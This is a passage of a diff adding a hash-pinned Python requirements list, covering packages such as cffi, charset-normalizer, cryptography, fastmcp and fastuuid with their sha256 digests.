--hash=sha256:bf84bfa039f25ad91f4f52944452a5f6f405e8afab4d445450978cd6241d1478 \ + --hash=sha256:ca6c8ecda611478b6016cb94d23fd3eb7124852b985bdec7ecaad9f3116b9619 \ + --hash=sha256:d6956d9e4a27021c8bd6c9677f3a59eb1d820cc32d0343cea7961a03b1371965 \ + --hash=sha256:d6c2a3411af97762a2b03840c3cec2f7f728921ff8adda53d7ea2315a8563451 \ + --hash=sha256:db9b5681e4af8176159f0d6598e73b2279bb661e718c7ac23342c550bd78c241 \ + --hash=sha256:fab6078b9348e883c80a5e14b382e6ad6aabbc4429ca034e76e730cf464269db \ + --hash=sha256:fb7ff95af4c31ad3f03179149aab61097a71fd85e05f89b4786de0359dffd044 \ + --hash=sha256:fc220b8533dcf0f238a6b1a4a937f92024c71e7b10b5a2dfc1c73604a25709bc +cdp-use==1.4.4 \ + --hash=sha256:330a848b517006eb9ad1dc468aa6434d913cf0c6918610760c36c3fdfdba0fab \ + --hash=sha256:e37e80e067db2653d6fdf953d4ff9e5d80d75daa27b7c6d48c0261cccbef73e1 +certifi==2025.8.3 \ + --hash=sha256:e564105f78ded564e3ae7c923924435e1daa7463faeab5bb932bc53ffae63407 \ + --hash=sha256:f6c12493cfb1b06ba2ff328595af9350c65d6644968e5d3a2ffd78699af217a5 +cffi==2.0.0 \ + --hash=sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb \ + --hash=sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b \ + --hash=sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f \ + --hash=sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9 \ + --hash=sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44 \ + --hash=sha256:0f6084a0ea23d05d20c3edcda20c3d006f9b6f3fefeac38f59262e10cef47ee2 \ + --hash=sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c \ + --hash=sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75 \ + --hash=sha256:1cd13c99ce269b3ed80b417dcd591415d3372bcac067009b6e0f59c7d4015e65 \ + --hash=sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e \ + --hash=sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a \ + --hash=sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e \ + --hash=sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25 \ + --hash=sha256:2081580ebb843f759b9f617314a24ed5738c51d2aee65d31e02f6f7a2b97707a \ + --hash=sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe \ + --hash=sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b \ + --hash=sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91 \ + --hash=sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592 \ + --hash=sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187 \ + --hash=sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c \ + --hash=sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1 \ + --hash=sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94 \ + --hash=sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba \ + --hash=sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb \ + --hash=sha256:3f4d46d8b35698056ec29bca21546e1551a205058ae1a181d871e278b0b28165 \ + --hash=sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529 \ + --hash=sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca \ + --hash=sha256:4647afc2f90d1ddd33441e5b0e85b16b12ddec4fca55f0d9671fef036ecca27c \ + --hash=sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6 \ + --hash=sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c \ + --hash=sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0 \ + --hash=sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743 \ + --hash=sha256:61d028e90346df14fedc3d1e5441df818d095f3b87d286825dfcbd6459b7ef63 \ + --hash=sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5 \ + --hash=sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5 \ + --hash=sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4 \ + --hash=sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d \ + --hash=sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b \ + --hash=sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93 \ + --hash=sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205 \ + --hash=sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27 \ + --hash=sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512 \ + --hash=sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d \ + --hash=sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c \ + --hash=sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037 \ + --hash=sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26 \ + --hash=sha256:89472c9762729b5ae1ad974b777416bfda4ac5642423fa93bd57a09204712322 \ + --hash=sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb \ + --hash=sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c \ + --hash=sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8 \ + --hash=sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4 \ + --hash=sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414 \ + --hash=sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9 \ + --hash=sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664 \ + --hash=sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9 \ + --hash=sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775 \ + --hash=sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739 \ + --hash=sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc \ + --hash=sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062 \ + --hash=sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe \ + --hash=sha256:b882b3df248017dba09d6b16defe9b5c407fe32fc7c65a9c69798e6175601be9 \ + --hash=sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92 \ + --hash=sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5 \ + --hash=sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13 \ + --hash=sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d \ + --hash=sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26 \ + --hash=sha256:cb527a79772e5ef98fb1d700678fe031e353e765d1ca2d409c92263c6d43e09f \ + --hash=sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495 \ + --hash=sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b \ + --hash=sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6 \ + --hash=sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c \ + --hash=sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef \ + --hash=sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5 \ + --hash=sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18 \ + --hash=sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad \ + --hash=sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3 \ + --hash=sha256:de8dad4425a6ca6e4e5e297b27b5c824ecc7581910bf9aee86cb6835e6812aa7 \ + --hash=sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5 \ + --hash=sha256:e6e73b9e02893c764e7e8d5bb5ce277f1a009cd5243f8228f75f842bf937c534 \ + --hash=sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49 \ + --hash=sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2 \ + --hash=sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5 \ + --hash=sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453 \ + --hash=sha256:fe562eb1a64e67dd297ccc4f5addea2501664954f2692b69a76449ec7913ecbf +chardet==5.2.0 \ + --hash=sha256:1b3b6ff479a8c414bc3fa2c0852995695c4a026dcd6d0633b2dd092ca39c1cf7 \ + --hash=sha256:e1cf59446890a00105fe7b7912492ea04b6e6f06d4b742b2c788469e34c82970 +charset-normalizer==3.4.3 \ + --hash=sha256:00237675befef519d9af72169d8604a067d92755e84fe76492fef5441db05b91 \ + --hash=sha256:02425242e96bcf29a49711b0ca9f37e451da7c70562bc10e8ed992a5a7a25cc0 \ + --hash=sha256:027b776c26d38b7f15b26a5da1044f376455fb3766df8fc38563b4efbc515154 \ + --hash=sha256:07a0eae9e2787b586e129fdcbe1af6997f8d0e5abaa0bc98c0e20e124d67e601 \ + --hash=sha256:0cacf8f7297b0c4fcb74227692ca46b4a5852f8f4f24b3c766dd94a1075c4884 \ + --hash=sha256:0e78314bdc32fa80696f72fa16dc61168fda4d6a0c014e0380f9d02f0e5d8a07 \ + --hash=sha256:0f2be7e0cf7754b9a30eb01f4295cc3d4358a479843b31f328afd210e2c7598c \ + --hash=sha256:13faeacfe61784e2559e690fc53fa4c5ae97c6fcedb8eb6fb8d0a15b475d2c64 \ + --hash=sha256:14c2a87c65b351109f6abfc424cab3927b3bdece6f706e4d12faaf3d52ee5efe \ + --hash=sha256:1606f4a55c0fd363d754049cdf400175ee96c992b1f8018b993941f221221c5f \ + --hash=sha256:16a8770207946ac75703458e2c743631c79c59c5890c80011d536248f8eaa432 \ + --hash=sha256:18343b2d246dc6761a249ba1fb13f9ee9a2bcd95decc767319506056ea4ad4dc \ + --hash=sha256:18b97b8404387b96cdbd30ad660f6407799126d26a39ca65729162fd810a99aa \ + --hash=sha256:1bb60174149316da1c35fa5233681f7c0f9f514509b8e399ab70fea5f17e45c9 \ + --hash=sha256:1e8ac75d72fa3775e0b7cb7e4629cec13b7514d928d15ef8ea06bca03ef01cae \ + --hash=sha256:1ef99f0456d3d46a50945c98de1774da86f8e992ab5c77865ea8b8195341fc19 \ + --hash=sha256:2001a39612b241dae17b4687898843f254f8748b796a2e16f1051a17078d991d \ + --hash=sha256:23b6b24d74478dc833444cbd927c338349d6ae852ba53a0d02a2de1fce45b96e \ + --hash=sha256:252098c8c7a873e17dd696ed98bbe91dbacd571da4b87df3736768efa7a792e4 \ + --hash=sha256:257f26fed7d7ff59921b78244f3cd93ed2af1800ff048c33f624c87475819dd7 \ + --hash=sha256:2c322db9c8c89009a990ef07c3bcc9f011a3269bc06782f916cd3d9eed7c9312 \ + --hash=sha256:30a96e1e1f865f78b030d65241c1ee850cdf422d869e9028e2fc1d5e4db73b92 \ + --hash=sha256:30d006f98569de3459c2fc1f2acde170b7b2bd265dc1943e87e1a4efe1b67c31 \ + --hash=sha256:31a9a6f775f9bcd865d88ee350f0ffb0e25936a7f930ca98995c05abf1faf21c \ + --hash=sha256:320e8e66157cc4e247d9ddca8e21f427efc7a04bbd0ac8a9faf56583fa543f9f \ + --hash=sha256:34a7f768e3f985abdb42841e20e17b330ad3aaf4bb7e7aeeb73db2e70f077b99 \ + --hash=sha256:3653fad4fe3ed447a596ae8638b437f827234f01a8cd801842e43f3d0a6b281b \ + --hash=sha256:3cd35b7e8aedeb9e34c41385fda4f73ba609e561faedfae0a9e75e44ac558a15 \ + --hash=sha256:3cfb2aad70f2c6debfbcb717f23b7eb55febc0bb23dcffc0f076009da10c6392 \ + --hash=sha256:416175faf02e4b0810f1f38bcb54682878a4af94059a1cd63b8747244420801f \ + --hash=sha256:41d1fc408ff5fdfb910200ec0e74abc40387bccb3252f3f27c0676731df2b2c8 \ + --hash=sha256:42e5088973e56e31e4fa58eb6bd709e42fc03799c11c42929592889a2e54c491 \ + --hash=sha256:4ca4c094de7771a98d7fbd67d9e5dbf1eb73efa4f744a730437d8a3a5cf994f0 \ + --hash=sha256:511729f456829ef86ac41ca78c63a5cb55240ed23b4b737faca0eb1abb1c41bc \ + --hash=sha256:53cd68b185d98dde4ad8990e56a58dea83a4162161b1ea9272e5c9182ce415e0 \ + --hash=sha256:585f3b2a80fbd26b048a0be90c5aae8f06605d3c92615911c3a2b03a8a3b796f \ + --hash=sha256:5b413b0b1bfd94dbf4023ad6945889f374cd24e3f62de58d6bb102c4d9ae534a \ + --hash=sha256:5d8d01eac18c423815ed4f4a2ec3b439d654e55ee4ad610e153cf02faf67ea40 \ + --hash=sha256:6aab0f181c486f973bc7262a97f5aca3ee7e1437011ef0c2ec04b5a11d16c927 \ + --hash=sha256:6cf8fd4c04756b6b60146d98cd8a77d0cdae0e1ca20329da2ac85eed779b6849 \ + --hash=sha256:6fb70de56f1859a3f71261cbe41005f56a7842cc348d3aeb26237560bfa5e0ce \ + --hash=sha256:6fce4b8500244f6fcb71465d4a4930d132ba9ab8e71a7859e6a5d59851068d14 \ + --hash=sha256:70bfc5f2c318afece2f5838ea5e4c3febada0be750fcf4775641052bbba14d05 \ + --hash=sha256:73dc19b562516fc9bcf6e5d6e596df0b4eb98d87e4f79f3ae71840e6ed21361c \ + --hash=sha256:74d77e25adda8581ffc1c720f1c81ca082921329452eba58b16233ab1842141c \ + --hash=sha256:78deba4d8f9590fe4dae384aeff04082510a709957e968753ff3c48399f6f92a \ + --hash=sha256:86df271bf921c2ee3818f0522e9a5b8092ca2ad8b065ece5d7d9d0e9f4849bcc \ + --hash=sha256:88ab34806dea0671532d3f82d82b85e8fc23d7b2dd12fa837978dad9bb392a34 \ + --hash=sha256:8999f965f922ae054125286faf9f11bc6932184b93011d138925a1773830bbe9 \ + --hash=sha256:8dcfc373f888e4fb39a7bc57e93e3b845e7f462dacc008d9749568b1c4ece096 \ + --hash=sha256:939578d9d8fd4299220161fdd76e86c6a251987476f5243e8864a7844476ba14 \ + --hash=sha256:96b2b3d1a83ad55310de8c7b4a2d04d9277d5591f40761274856635acc5fcb30 \ + --hash=sha256:a2d08ac246bb48479170408d6c19f6385fa743e7157d716e144cad849b2dd94b \ + --hash=sha256:b256ee2e749283ef3ddcff51a675ff43798d92d746d1a6e4631bf8c707d22d0b \ + --hash=sha256:b5e3b2d152e74e100a9e9573837aba24aab611d39428ded46f4e4022ea7d1942 \ + --hash=sha256:b89bc04de1d83006373429975f8ef9e7932534b8cc9ca582e4db7d20d91816db \ + --hash=sha256:bd28b817ea8c70215401f657edef3a8aa83c29d447fb0b622c35403780ba11d5 \ + --hash=sha256:c60e092517a73c632ec38e290eba714e9627abe9d301c8c8a12ec32c314a2a4b \ + --hash=sha256:c6dbd0ccdda3a2ba7c2ecd9d77b37f3b5831687d8dc1b6ca5f56a4880cc7b7ce \ + --hash=sha256:c6e490913a46fa054e03699c70019ab869e990270597018cef1d8562132c2669 \ + --hash=sha256:c6f162aabe9a91a309510d74eeb6507fab5fff92337a15acbe77753d88d9dcf0 \ + --hash=sha256:c6fd51128a41297f5409deab284fecbe5305ebd7e5a1f959bee1c054622b7018 \ + --hash=sha256:cc34f233c9e71701040d772aa7490318673aa7164a0efe3172b2981218c26d93 \ + --hash=sha256:cc9370a2da1ac13f0153780040f465839e6cccb4a1e44810124b4e22483c93fe \ + --hash=sha256:ccf600859c183d70eb47e05a44cd80a4ce77394d1ac0f79dbd2dd90a69a3a049 \ + --hash=sha256:ce571ab16d890d23b5c278547ba694193a45011ff86a9162a71307ed9f86759a \ + --hash=sha256:cf1ebb7d78e1ad8ec2a8c4732c7be2e736f6e5123a4146c5b89c9d1f585f8cef \ + --hash=sha256:d0e909868420b7049dafd3a31d45125b31143eec59235311fc4c57ea26a4acd2 \ + --hash=sha256:d22dbedd33326a4a5190dd4fe9e9e693ef12160c77382d9e87919bce54f3d4ca \ + --hash=sha256:d716a916938e03231e86e43782ca7878fb602a125a91e7acb8b5112e2e96ac16 \ + --hash=sha256:d79c198e27580c8e958906f803e63cddb77653731be08851c7df0b1a14a8fc0f \ + --hash=sha256:d95bfb53c211b57198bb91c46dd5a2d8018b3af446583aab40074bf7988401cb \ + --hash=sha256:e28e334d3ff134e88989d90ba04b47d84382a828c061d0d1027b1b12a62b39b1 \ + --hash=sha256:ec557499516fc90fd374bf2e32349a2887a876fbf162c160e3c01b6849eaf557 \ + --hash=sha256:fb6fecfd65564f208cbf0fba07f107fb661bcd1a7c389edbced3f7a493f70e37 \ + --hash=sha256:fb731e5deb0c7ef82d698b0f4c5bb724633ee2a489401594c5c88b02e6cb15f7 \ + --hash=sha256:fb7f67a1bfa6e40b438170ebdc8158b78dc465a5a67b6dde178a46987b244a72 \ + --hash=sha256:fd10de089bcdcd1be95a2f73dbe6254798ec1bda9f450d5828c96f93e2536b9c \ + --hash=sha256:fdabf8315679312cfa71302f9bd509ded4f2f263fb5b765cf1433b39106c3cc9 +click==8.5.0 \ + --hash=sha256:255bc9599cf7748b4b1a446ccc735421bd08a2ae529a8b88597d3de5664ee360 \ + --hash=sha256:ba0d2089de75ea0310e2dde03160e6ca10009947fb95a182f9b54021bb272e34 +cloudpickle==3.1.2 \ + --hash=sha256:7fda9eb655c9c230dab534f1983763de5835249750e85fbcef43aaa30a9a2414 \ + --hash=sha256:9acb47f6afd73f60dc1df93bb801b472f05ff42fa6c84167d25cb206be1fbf4a +cryptography==50.0.0 \ + --hash=sha256:031e2d5dd4bb9caa3ca9c82e5a197fd8ae680232cee62603d1a813f3f07e3d03 \ + --hash=sha256:06a32a980526a6ab9a4b9bf8f7385800791e2bb960903cb6b530e4817509a3b7 \ + --hash=sha256:07479a1cb08219ab719147e742e76090c9c773321959bb94946fffdd397a6437 \ + --hash=sha256:07949c449a1abcf60d1ee6e88956d89404c7df3c8258f46589e912988e551987 \ + --hash=sha256:105110f43a471dbd0060b9c9516cb8a6a79233631a04cc2ba16f28323ac6e025 \ + --hash=sha256:11b74db56cdbe3cdee6e3f6982ecb70334fa10dce99ed58bf7894aaaa3b2a037 \ + --hash=sha256:12b9c6996425c76ea6c457ace4f3073e715b8c545add07cd1a8f3a4f90691269 \ + --hash=sha256:1489e263a8048bb8b6a8bac662eb2d402ea5d2b7b4699b72f385f1e2772db105 \ + --hash=sha256:19736989797678c6af1e55cd49055cdbcb55d8f6b5583ac5335f933aba9101dc \ + --hash=sha256:1b4a266766514614f8aa60416e71f2fc6e575d36e7bdc90f644fadb2f4b75b95 \ + --hash=sha256:2a8183b489dc1f7f80f135780fadc1108f14b31b8a40411c7a5b17425f65f28b \ + --hash=sha256:37fdb0d0111f1e2ff07139dfb79f1b49531f8e213c46f1163dd7642979b58c47 \ + --hash=sha256:3f5735ffe4996d28b809371756219f5354864902a3b9e7c0b9ee87041209fc9c \ + --hash=sha256:49e7d93abdbd2990caced757e5fade25302f719c3c8fb6e6fff2dde98999fc41 \ + --hash=sha256:5e34edd123674534acd70147f0ca331eaa2c74e6325fb2028c886aa26ba0b68c \ + --hash=sha256:62598a8a57f815db4c6259a4e97d857dab56697e7de8e8ab02352ab74da1995d \ + --hash=sha256:65c2c3add92b45fd0709db8594536aea39c2a67af0e27ffcf049c498501140b7 \ + --hash=sha256:6ba6a53445bd3cfa809ef3ef5f1589aa6ba08784a1d962bf47d0940e871dab1c \ + --hash=sha256:6e7d61120573a7f2cd94cc095f9e81f6967c61ccdf194285aa143ecec8e0b708 \ + --hash=sha256:7cec5b856506da6defb290f30c9ee687d5f5e8cb0bd3f6459dde43b0b4fa40ef \ + --hash=sha256:80b63928fa35083b33966ce1efb70e5b9607181e49dcd1c22c8c005e319f667f \ + --hash=sha256:82148ec5bddac30b51a5b3c1945075f896fa022cb93f8e4a01e9f6ee95292c5f \ + --hash=sha256:828743d939e9629bc267b8e2d08d8bb67cd4319c771a33d4b18b22dd8fb7440a \ + --hash=sha256:8d89f3976b10b4ce31118de72329025f70d2c6ead14a8217c5514dd2c6d5a78f \ + --hash=sha256:8eb5e1172eb569ea8a872796576e6a67c276351728b6455d5beb01242b027c6a \ + --hash=sha256:900131fafd8aead39ac7dd3a7e833be754c17a95cfd91221636949fe4eb0aa8a \ + --hash=sha256:910d11e1a385c654bf738bf3e6b8e6ed5de0f5610fcae2be9e5b398d8081d20e \ + --hash=sha256:910e1d2668e7de9648f2bcee30e180db2a6b15c30f887d7c4c93ddf96e3992e3 \ + --hash=sha256:9aa87839c383bdbab6ef865787a1fb877af8dd03464c4400322726feaaadfc6d \ + --hash=sha256:a1b30560f2acc95aa8b2e06e716a13dbfc97314747b80d9707e307f77b40d6b3 \ + --hash=sha256:a91296cb61e8df6f86d0c19cc4068228da256bf59bf86049fbd821084565327f \ + --hash=sha256:b42a28c1844fd9de8f3f7d540e36b66f3a9c83fceac7170ebc7a6a19edd9dcae \ + --hash=sha256:bd1c592e4d5974f0d08d4888e432157adba757c66da0246918e43677fafa2d30 \ + --hash=sha256:c87f62a3d3b9888ed0fdde100ec06aa61ca9cd44bad9057d1dff9a516b5f5bb9 \ + --hash=sha256:c99c003e088647b8a5b7c145d6f78c335f6348332b62e142d411c4b63d1460b9 \ + --hash=sha256:ccdc4a71a4dabae05de219404f9f4abc38e3b58422177ff93d0da05967dafa07 \ + --hash=sha256:d24fead1d4d076e1bfb006dcec392074a3cd8d7b4fc8a595aa64073b2b7a96ba \ + --hash=sha256:d58c3db7cd6eed54e6c06744db55456b65ebd7492ddeae9c1e93cfca7aa857d3 \ + --hash=sha256:d764dcf130c428ef66786f866dd750f53182bc608813489915e9fc106bb0c82f \ + --hash=sha256:df2a58a472f332225671c35b0a830208b86d004f82baa8530fa3782c85646533 \ + --hash=sha256:e722f16708d854fe924790e051061f6704a472c3bac347b6fd88033ea8dd0dc5 \ + --hash=sha256:ecfed7367f965a0328cfbdd70da860f15441f002f613185668c6e6ebf5a0ac11 \ + --hash=sha256:eeac2acb5a20ed25e0ad6d1df9891a520b78b404266b6d11778f25d5d691a6c9 \ + --hash=sha256:f59e38625469987d7ef6d495323c55e7db6c212eaf6112267e0d3b565a2e9c9f \ + --hash=sha256:f89831ef99dd7dd169ab06d63a831adb9e20a87aac6d380266bbda5823349169 \ + --hash=sha256:fd9192b7b70c573d7f214eb1ae35e00d359f6f5e4b27c7e21e30de1fc6204645 +cyclopts==4.6.0 \ + --hash=sha256:0a891cb55bfd79a3cdce024db8987b33316aba11071e5258c21ac12a640ba9f2 \ + --hash=sha256:483c4704b953ea6da742e8de15972f405d2e748d19a848a4d61595e8e5360ee5 +deprecation==2.1.0 \ + --hash=sha256:72b3bde64e5d778694b0cf68178aed03d15e15477116add3fb773e581f9518ff \ + --hash=sha256:a10811591210e1fb0e768a8c25517cabeabcba6f0bf96564f8ff45189f90b14a +distro==1.9.0 \ + --hash=sha256:2fa77c6fd8940f116ee1d6b94a2f90b13b5ea8d019b98bc8bafdcabcdd9bdbed \ + --hash=sha256:7bffd925d65168f85027d8da9af6bddab658135b840670a223589bc0c8ef02b2 +dnspython==2.8.0 \ + --hash=sha256:01d9bbc4a2d76bf0db7c1f729812ded6d912bd318d3b1cf81d30c0f845dbf3af \ + --hash=sha256:181d3c6996452cb1189c4046c61599b84a5a86e099562ffde77d26984ff26d0f +docstring-parser==0.17.0 \ + --hash=sha256:583de4a309722b3315439bb31d64ba3eebada841f2e2cee23b99df001434c912 \ + --hash=sha256:cf2569abd23dce8099b300f9b4fa8191e9582dda731fd533daf54c4551658708 +docutils==0.22.2 \ + --hash=sha256:9fdb771707c8784c8f2728b67cb2c691305933d68137ef95a75db5f4dfbc213d \ + --hash=sha256:b0e98d679283fc3bb0ead8a5da7f501baa632654e7056e9c5846842213d674d8 +email-validator==2.3.0 \ + --hash=sha256:80f13f623413e6b197ae73bb10bf4eb0908faf509ad8362c5edeb0be7fd450b4 \ + --hash=sha256:9fc05c37f2f6cf439ff414f8fc46d917929974a82244c20eb10231ba60c54426 +exceptiongroup==1.3.0 \ + --hash=sha256:4d111e6e0c13d0644cad6ddaa7ed0261a0b36971f6d23e7ec9b4b9097da78a10 \ + --hash=sha256:b241f5885f560bc56a59ee63ca4c6a8bfa46ae4ad651af316d4e81817bb9fd88 +fakeredis==2.34.1 \ + --hash=sha256:0107ec99d48913e7eec2a5e3e2403d1bd5f8aa6489d1a634571b975289c48f12 \ + --hash=sha256:4ff55606982972eecce3ab410e03d746c11fe5deda6381d913641fbd8865ea9b +fastmcp==3.2.0 \ + --hash=sha256:d4830b8ffc3592d3d9c76dc0f398904cf41f04910e41a0de38cc1004e0903bef \ + --hash=sha256:e71aba3df16f86f546a4a9e513261d3233bcc92bef0dfa647bac3fa33623f681 +fastuuid==0.14.0 \ + --hash=sha256:05a8dde1f395e0c9b4be515b7a521403d1e8349443e7641761af07c7ad1624b1 \ + --hash=sha256:0737606764b29785566f968bd8005eace73d3666bd0862f33a760796e26d1ede \ + --hash=sha256:089c18018fdbdda88a6dafd7d139f8703a1e7c799618e33ea25eb52503d28a11 \ + --hash=sha256:09098762aad4f8da3a888eb9ae01c84430c907a297b97166b8abc07b640f2995 \ + --hash=sha256:09378a05020e3e4883dfdab438926f31fea15fd17604908f3d39cbeb22a0b4dc \ + --hash=sha256:0c9ec605ace243b6dbe3bd27ebdd5d33b00d8d1d3f580b39fdd15cd96fd71796 \ + --hash=sha256:0df14e92e7ad3276327631c9e7cec09e32572ce82089c55cb1bb8df71cf394ed \ + --hash=sha256:12ac85024637586a5b69645e7ed986f7535106ed3013640a393a03e461740cb7 \ + --hash=sha256:1383fff584fa249b16329a059c68ad45d030d5a4b70fb7c73a08d98fd53bcdab \ + --hash=sha256:139d7ff12bb400b4a0c76be64c28cbe2e2edf60b09826cbfd85f33ed3d0bbe8b \ + --hash=sha256:13ec4f2c3b04271f62be2e1ce7e95ad2dd1cf97e94503a3760db739afbd48f00 \ + --hash=sha256:178947fc2f995b38497a74172adee64fdeb8b7ec18f2a5934d037641ba265d26 \ + --hash=sha256:193ca10ff553cf3cc461572da83b5780fc0e3eea28659c16f89ae5202f3958d4 \ + --hash=sha256:1a771f135ab4523eb786e95493803942a5d1fc1610915f131b363f55af53b219 \ + --hash=sha256:1bf539a7a95f35b419f9ad105d5a8a35036df35fdafae48fb2fd2e5f318f0d75 \ + --hash=sha256:1ca61b592120cf314cfd66e662a5b54a578c5a15b26305e1b8b618a6f22df714 \ + --hash=sha256:1e3cc56742f76cd25ecb98e4b82a25f978ccffba02e4bdce8aba857b6d85d87b \ + --hash=sha256:1e690d48f923c253f28151b3a6b4e335f2b06bf669c68a02665bc150b7839e94 \ + --hash=sha256:2b29e23c97e77c3a9514d70ce343571e469098ac7f5a269320a0f0b3e193ab36 \ + --hash=sha256:2dce5d0756f046fa792a40763f36accd7e466525c5710d2195a038f93ff96346 \ + --hash=sha256:2ec3d94e13712a133137b2805073b65ecef4a47217d5bac15d8ac62376cefdb4 \ + --hash=sha256:2fb3c0d7fef6674bbeacdd6dbd386924a7b60b26de849266d1ff6602937675c8 \ + --hash=sha256:2fc37479517d4d70c08696960fad85494a8a7a0af4e93e9a00af04d74c59f9e3 \ + --hash=sha256:33e678459cf4addaedd9936bbb038e35b3f6b2061330fd8f2f6a1d80414c0f87 \ + --hash=sha256:3964bab460c528692c70ab6b2e469dd7a7b152fbe8c18616c58d34c93a6cf8d4 \ + --hash=sha256:3acdf655684cc09e60fb7e4cf524e8f42ea760031945aa8086c7eae2eeeabeb8 \ + --hash=sha256:448aa6833f7a84bfe37dd47e33df83250f404d591eb83527fa2cac8d1e57d7f3 \ + --hash=sha256:47c821f2dfe95909ead0085d4cb18d5149bca704a2b03e03fb3f81a5202d8cea \ + --hash=sha256:4edc56b877d960b4eda2c4232f953a61490c3134da94f3c28af129fb9c62a4f6 \ + --hash=sha256:5816d41f81782b209843e52fdef757a361b448d782452d96abedc53d545da722 \ + --hash=sha256:6e6243d40f6c793c3e2ee14c13769e341b90be5ef0c23c82fa6515a96145181a \ + 